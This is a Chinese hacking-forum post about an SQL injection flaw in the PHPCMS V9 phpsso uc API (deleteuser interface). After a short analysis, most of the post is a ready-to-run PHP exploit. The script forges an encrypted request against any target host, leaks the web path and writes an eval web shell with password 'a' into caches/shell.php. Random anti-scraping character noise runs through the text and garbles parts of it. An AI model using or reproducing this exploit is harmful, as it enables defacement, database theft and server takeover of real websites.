找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2003|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。4 \: a, T  r. _, _/ E

1 B- R0 i/ Q7 I! o+ g所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。( h* E# w. ~; y% Q! d. ~

9 m  i( D/ `8 _4 `6 }( s/ C2 u漏洞分析:" v+ d/ d# t1 S+ B
1.未启用ucenter服务的情况下uc_key为空" P: ^6 J; A6 H7 ]
define('UC_KEY', pc_base::load_config('system', 'uc_key'));8 P3 h" Y% i* o1 n
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。* ]0 X& S9 ?: h- y& n$ E0 B9 }8 i0 h
    public function deleteuser($get,$post) {
) n5 Z3 [+ h; Q1 f. b5 @  }        pc_base::load_app_func('global', 'admin');, ~9 o  p3 Y. a9 x0 [7 c
        pc_base::load_app_class('messagequeue', 'admin' , 0);* g$ Z) P! L: O+ Q; K+ j
        $ids = new_stripslashes($get['ids']);
! j$ _1 z) k  u& u        $s = $this->member_db->select("ucuserid in ($ids)", "uid");# }5 Y7 u. a3 M8 N) s- a
SQL语句为8 N0 h5 u! Y+ d4 u- ?6 ~6 b" w
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)% f8 `: o& Y. X- q/ c9 T
8 z) z4 f& P3 ^
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell; u9 Y0 T! f! z( y* ^
<?php& L- f' Z4 t/ [2 U3 q
print_r('9 p  x4 i+ W& }0 Y
---------------------------------------------------------------------------% l1 ^0 A: R2 B4 E
PHPcms (v9 or Old Version) uc api sql injection 0day
1 ^4 r6 [* N" p" y- b+ T3 K& t6 d1 uby rayh4c#80sec.com) u3 a: q* y7 e4 a: W) M
---------------------------------------------------------------------------; A$ ]; F+ ~5 U; j8 ]
');) ~. [7 v4 T0 K
& p9 q* k. `. r7 S3 g& `
if ($argc<3) {
/ G% c  c, W. m& _5 |5 s    print_r('/ K& C8 D! l! f
---------------------------------------------------------------------------
# n3 S; N2 h: i" tUsage: php '.$argv[0].' host path OPTIONS4 q5 l( D% V* g6 Y- ]1 k  Z
host:      target server (ip/hostname)
- e4 y7 p; x; @: q+ S. Z6 i5 r0 M( Ypath:      path to phpcms
* f# |+ i6 ]% i5 X( Q1 DOptions:
; c$ n3 d/ f( K9 i" U' }$ c -p[port]:    specify a port other than 805 ~2 G9 R, E' B: \2 e7 j
-P[ip:port]: specify a proxy
: A# B! @9 g0 P1 x) o7 _& N# K  XExample:
0 d7 w7 k: T/ T) N2 Xphp '.$argv[0].' localhost /9 h& u( l$ l, I9 t: s* \
php '.$argv[0].' localhost /phpcms/ -p81% q5 j5 X- e" t1 Q
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80' A+ w- r! u/ n8 E5 ?
---------------------------------------------------------------------------
/ ]) S! n. R) b+ i& G! [');: s  Q! r! X4 n) V9 Y# _) ?1 a( [, u
    die;
& J/ H: S/ [3 P& i+ {}
" D5 ?4 N& G! a' @( r
  X9 d- b# {  q* perror_reporting(7);- v# l$ o* c% ~, R$ H
ini_set("max_execution_time",0);2 j. [0 _3 O- M" w% H
ini_set("default_socket_timeout",5);7 i0 E) E" O1 E$ z' @1 M& ^% o6 t

/ u; P) R* b' r% d8 g; efunction quick_dump($string)
7 q3 F$ k7 t# F/ x9 c{
3 G- `' {% V& }# ]7 i: P- A  $result='';$exa='';$cont=0;
# l9 H$ A  i" O8 s) D0 j; \, Q5 a  for ($i=0; $i<=strlen($string)-1; $i++)2 l' D+ x! J2 S6 y% ~% M% L# y* n. N
  {
% N' x7 V' M7 H( d6 A   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
$ s/ |0 Z$ a& M6 k% `% R! H   {$result.="  .";}0 }/ ?" ~1 ^/ J  g
   else3 t+ L0 B% O+ w
   {$result.="  ".$string[$i];}
/ A' v0 M) y- a& t   if (strlen(dechex(ord($string[$i])))==2). ^0 S: p9 E, O' H6 _3 k
   {$exa.=" ".dechex(ord($string[$i]));}, J; Z2 P  B, a& o/ l/ Y4 c
   else7 |" A3 J" Z( ~3 O$ v9 o' \( g
   {$exa.=" 0".dechex(ord($string[$i]));}
% I) E0 e1 |3 g1 J3 D8 k) }   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}: P* D1 A& R  v( p) Q( E
  }
! c+ m) Z. c& x8 a# C: J# D6 p. D2 J return $exa."\r\n".$result;4 j" t/ F4 L: K9 h) I( y, c
}
: ]4 f" s2 U& r. Y5 y) \5 W$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
* W& M  s4 \  c; j1 Y8 W1 u% ~; P, u% Y! ?, c& z# V' \
function send($packet)
5 J- G; d) m  ^  F, v4 z4 t9 U{. r) C+ F/ y8 C$ `  i
  global $proxy, $host, $port, $html, $proxy_regex;
# T7 p, F8 M3 X& C# z  if ($proxy=='') {
, p, T6 r" W! h& O    $ock=fsockopen(gethostbyname($host),$port);4 B* L7 [! N( [8 \7 M0 j' t: n
    if (!$ock) {: T9 S7 }5 z0 ]. L5 u3 T2 d# @6 G
      echo 'No response from '.$host.':'.$port; die;
2 m7 k* m) V+ ~% Z) J' V4 q    }
4 {) P5 Y: ?* y5 D. M$ I8 H: {  }/ n6 h! Q9 Y4 Z$ L6 ^
  else {
7 q3 I0 c3 c; m  Q5 n- b        $c = preg_match($proxy_regex,$proxy);& J- E8 V4 c% b) }8 M7 {6 ^5 x4 \
    if (!$c) {9 ]) C, d$ Q5 k5 L( J* [
      echo 'Not a valid proxy...';die;
3 t) o! `; F9 W/ Z    }; S4 N' w7 K' o# }; Z- m: _0 Z/ K
    $parts=explode(':',$proxy);: S2 {- d6 G9 |& |5 @/ J1 w, M5 s
    $parts[1]=(int)$parts[1];$ w- O" l4 D  |: `) w
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
/ `2 w; ~5 d- b# P    $ock=fsockopen($parts[0],$parts[1]);
% Z1 W( Z$ M- q2 f1 T/ H% d    if (!$ock) {7 C3 c2 r3 A" t/ t
      echo 'No response from proxy...';die;8 ]4 o" T; S! T8 {9 e% N' r
        }
& q0 w( V) F5 b  }
2 _: [; r: W* A# G7 ]  fputs($ock,$packet);& C% g" f) ^' S" a% H
  if ($proxy=='') {
1 j8 h3 G1 j- b* D. D8 M+ C. ^    $html='';
+ u* c! f2 c  x    while (!feof($ock)) {) S$ d5 h' v2 d
      $html.=fgets($ock);0 Y5 O7 Y1 @3 X
    }7 D" T; i% s" q
  }
5 X6 p( @, P# q6 \  else {
/ n$ J  U; p/ e    $html='';$ k3 s. `! Y: r$ H
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {- I* }: K4 p/ o3 G1 i
      $html.=fread($ock,1);7 \$ b& d8 d% h6 f6 v/ {7 [6 t
    }
  ]+ {5 Z; Y! {8 g: t  }4 i" ]% L3 _$ X5 H
  fclose($ock);
$ O: z; m/ m$ F$ N}" `  e* m3 u1 c: u, u+ J5 s# e
9 ~% x5 Y% e- U! y* F4 G7 E
$host=$argv[1];
* T9 ]1 E$ m* Q# V+ T$path=$argv[2];; }1 K1 d) U$ R3 B  X
$port=80;
$ ]2 J  \  z) r2 p1 w( v! d$proxy="";
7 ^$ Q7 Z) P4 [' R6 q! sfor ($i=3; $i<$argc; $i++){
( b" r9 \6 k' S  l+ l& o" }$temp=$argv[$i][0].$argv[$i][1];6 X  n8 G$ \& i" N! X: J
if ($temp=="-p")/ R: x2 p9 M% ^8 A+ e, N
{
0 W- |2 P4 t+ @# O, e  $port=(int)str_replace("-p","",$argv[$i]);2 s  M% K1 l; O; R5 I% m% `- Q8 d
}
! l5 t. R! v- {' M) L6 m5 Kif ($temp=="-P")3 g5 k" W1 V# ?! G; A* Z
{
6 S+ ~; C5 f" f6 {' N  $proxy=str_replace("-P","",$argv[$i]);7 V. E: u% W7 r9 z, m2 F
}
, ?4 o# f5 |0 S}
* ?: n# v" y# D0 u3 j6 W% T" W7 T
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}, y; Z/ ?8 U) G4 _
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
1 F) v. J' C# S$ H" `$ |* [7 g4 H- A7 k, B
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
4 U8 p* T/ G% P! d! l' Z( e6 ^& B
    $ckey_length = 4;- K8 Z( ?' R  Q3 R1 o. [

( v( `; L3 C: S) h6 P. O: b    $key = md5($key ? $key : '');
" s) h) j) m. c    $keya = md5(substr($key, 0, 16));) ?7 G( c5 v3 E
    $keyb = md5(substr($key, 16, 16));
, o4 n8 J& x. A2 U; ?# J- B    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';0 E: K5 s' s1 i, J# f! Q

" U4 L! Q7 S, `* R* ]9 x    $cryptkey = $keya.md5($keya.$keyc);3 @- |) p  U' Y/ |: ]5 s" a
    $key_length = strlen($cryptkey);. D, m8 C- w' \) O' ^

! }# Z$ Y; ?1 f* @    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
4 u) U6 t- {2 F" ?    $string_length = strlen($string);/ g* T. _# P1 w8 T

  K7 T: J5 ~8 v/ v: ?8 G6 j    $result = '';! P  W! Q' P& X0 M5 }0 l5 x
    $box = range(0, 255);
" _# o" r' m  |! I3 e( K1 P5 v9 F$ S& t7 e
    $rndkey = array();* {4 D: f& K% h; X
    for($i = 0; $i <= 255; $i++) {
6 G) l* d1 o5 |# f% b        $rndkey[$i] = ord($cryptkey[$i % $key_length]);. ^! T7 Z# q4 T
    }
6 G& I& O5 t% H/ r) _7 ?
$ f- j. L' O2 T! H& e    for($j = $i = 0; $i < 256; $i++) {
6 t# o7 L) w; b* U7 c7 T        $j = ($j + $box[$i] + $rndkey[$i]) % 256;, D8 Z2 R* p/ M% Y+ E
        $tmp = $box[$i];
0 L" E$ m7 f; x, ~  f# k0 y' R        $box[$i] = $box[$j];) D( ~- V. X: r  C
        $box[$j] = $tmp;$ Y) K& s0 {: K  M
    }
! \* y+ n+ Z" ]; {& I% U9 `+ f* {0 k2 P
    for($a = $j = $i = 0; $i < $string_length; $i++) {
3 R: E/ [* }( J* B        $a = ($a + 1) % 256;: A" Y5 t3 c9 q9 i9 y. w& w' `
        $j = ($j + $box[$a]) % 256;
% \0 O/ v' `+ i        $tmp = $box[$a];
7 P( k5 p9 V6 z  ^( P/ P9 p        $box[$a] = $box[$j];, H, {& S# h& \$ v9 d/ x3 H9 O
        $box[$j] = $tmp;
7 e: |2 T0 J& W4 v; B' L6 \  Y3 ~        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));: P' h3 W0 b0 I" N1 e
    }
9 i' {- F! o! c1 N: J, Y/ N! z$ R; z  z3 }5 N
    if($operation == 'DECODE') {7 s2 o6 `" x  j  ~
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {. [" b* K8 N0 u% T; _' n% J, z# J
            return substr($result, 26);0 h8 O1 S7 j. a  X, B* }; |
        } else {" J3 _! M& `7 ?
            return '';
8 m% Z8 M, w3 m% \        }2 e! f& P" r- ~9 u
    } else {; L) n( e1 u7 V1 H( X4 n
        return $keyc.str_replace('=', '', base64_encode($result));
: k" Y5 O& X- m7 I8 L" N; ?1 i    }
* `, w  }. P2 _6 I8 U8 u! }
: K0 N( c6 I5 [; v( I3 v) z}
7 w5 J' A: B9 L: V/ ?0 u
9 ^' W  q. z& V' X$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
7 z; X3 j# Y3 g* _, I$SQL = urlencode(authcode($SQL, "ENCODE", ""));
' U! E1 ^7 H$ W, becho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";" i. R! c% ?* d. P; o0 p
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
2 [5 h$ u: z* r% G% ?: d$packet.="User-Agent: Mozilla/5.0\r\n";
$ r/ k' e! e% ^8 g- f9 s$packet.="Host: ".$host."\r\n";2 w; R7 x( X- p4 Y. ~
$packet.="Connection: Close\r\n\r\n";
2 T5 g' {, j) }send($packet);  q2 i, [" S9 w, _" S
if(strpos($html,"MySQL Errno") > 0){
! U; O/ Y. p" X0 z0 V5 \echo "[2] 发现存在SQL注入漏洞"."\n";
& j& q% a9 ^/ @& Iecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";* u: p/ a% U( o% {6 A( j; u/ x% e
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
" l' r' Q5 G- Y% @" ^3 I; ]' x8 P- G" O$packet.="User-Agent: Mozilla/5.0\r\n";5 T! F1 ^% k/ L% K* r+ }9 Z
$packet.="Host: ".$host."\r\n";3 C( Q8 d! k2 A/ L. G
$packet.="Connection: Close\r\n\r\n";
! C- \) p; x* y5 Dsend($packet);
& B7 t+ H& a* f- }+ }3 ypreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);# W3 T8 w& f0 a  C6 h! I" d
//print_r($matches);5 k, q* A, g& ?. t+ `  o* {
if(!empty($matches)){
- X4 E# X/ s3 d$ b; S( Xecho "[4] 得到web路径 " . $matches[0]."\n";
* e0 S& o5 A* l/ D# K$ B5 K& a5 ]+ b2 Yecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";! s( p& p. `4 P; B1 j3 o" X6 D
$SQL = "time=999999999999999999999999&ids=1)";! O/ L$ m, t" q) Z  b* X
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";( E; w$ p, s; ^7 g, ]
$SQL.="&action=deleteuser";7 `$ e: w( ~! r, q
$SQL = urlencode(authcode($SQL, "ENCODE", ""));: p* |" x5 E! ^$ ?- x& A* N) A
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";' b% _8 Z2 N/ c/ f
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
8 d7 `  L* d) S' e$ t7 T/ l) _$packet.="User-Agent: Mozilla/5.0\r\n";
& S. _3 I' X; k$packet.="Host: ".$host."\r\n";
& O( ?  F& Z& \# n8 Y% K8 u$packet.="Connection: Close\r\n\r\n";
! I% H8 {; U) A' P4 H* D  U$ J9 msend($packet);" d: [/ h# v: [# m- V$ n
if(strpos($html,"Access denied") > 0){
5 }. n. W9 J6 {* g4 O# a4 c: becho "[-] MYSQL权限过低 禁止写入文件 ";$ z* s1 B  T: x# x+ Z5 X
die;& d2 u3 J! p% o0 B
}
# X& k) r7 F$ `+ k' A/ Cecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
; _& J0 |# Q' T9 E( O/ N& z! C$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
: L" x" [, |. h) i7 a- m9 S$packet.="User-Agent: Mozilla/5.0\r\n";
/ X3 O+ q' G; i1 \$packet.="Host: ".$host."\r\n";
: W2 B& _. D+ o1 Q& Z$packet.="Connection: Close\r\n\r\n";3 l( m$ l/ ~7 i* Y+ m* D
send($packet);
' e+ z% _, T' E% U- kif(strpos($html,"<title>phpinfo()</title>") > 0){! M* k8 N, [+ P; n; Q7 N
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";  Q# r, q: M  @$ q8 q; x
}6 }; N" y2 g  H- h
}else{
' Q+ L  h) A8 o# z3 J/ u2 {echo "[-]未取到web路径 ";
/ r5 |) _* m' O3 O; L}% Y: N0 {, W" T# ]- z1 \/ y9 O1 r
}else{
  ?( d; r0 \- @$ r$ m+ becho "[*]不存在SQL注入漏洞"."\n";
; Z8 t* X. q9 b9 {6 r# X( Y}. ]5 B2 y3 R/ \( m2 h* g- a& X

: }% p( g% p9 @! P  J( `?>9 `0 z  q% T" O7 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表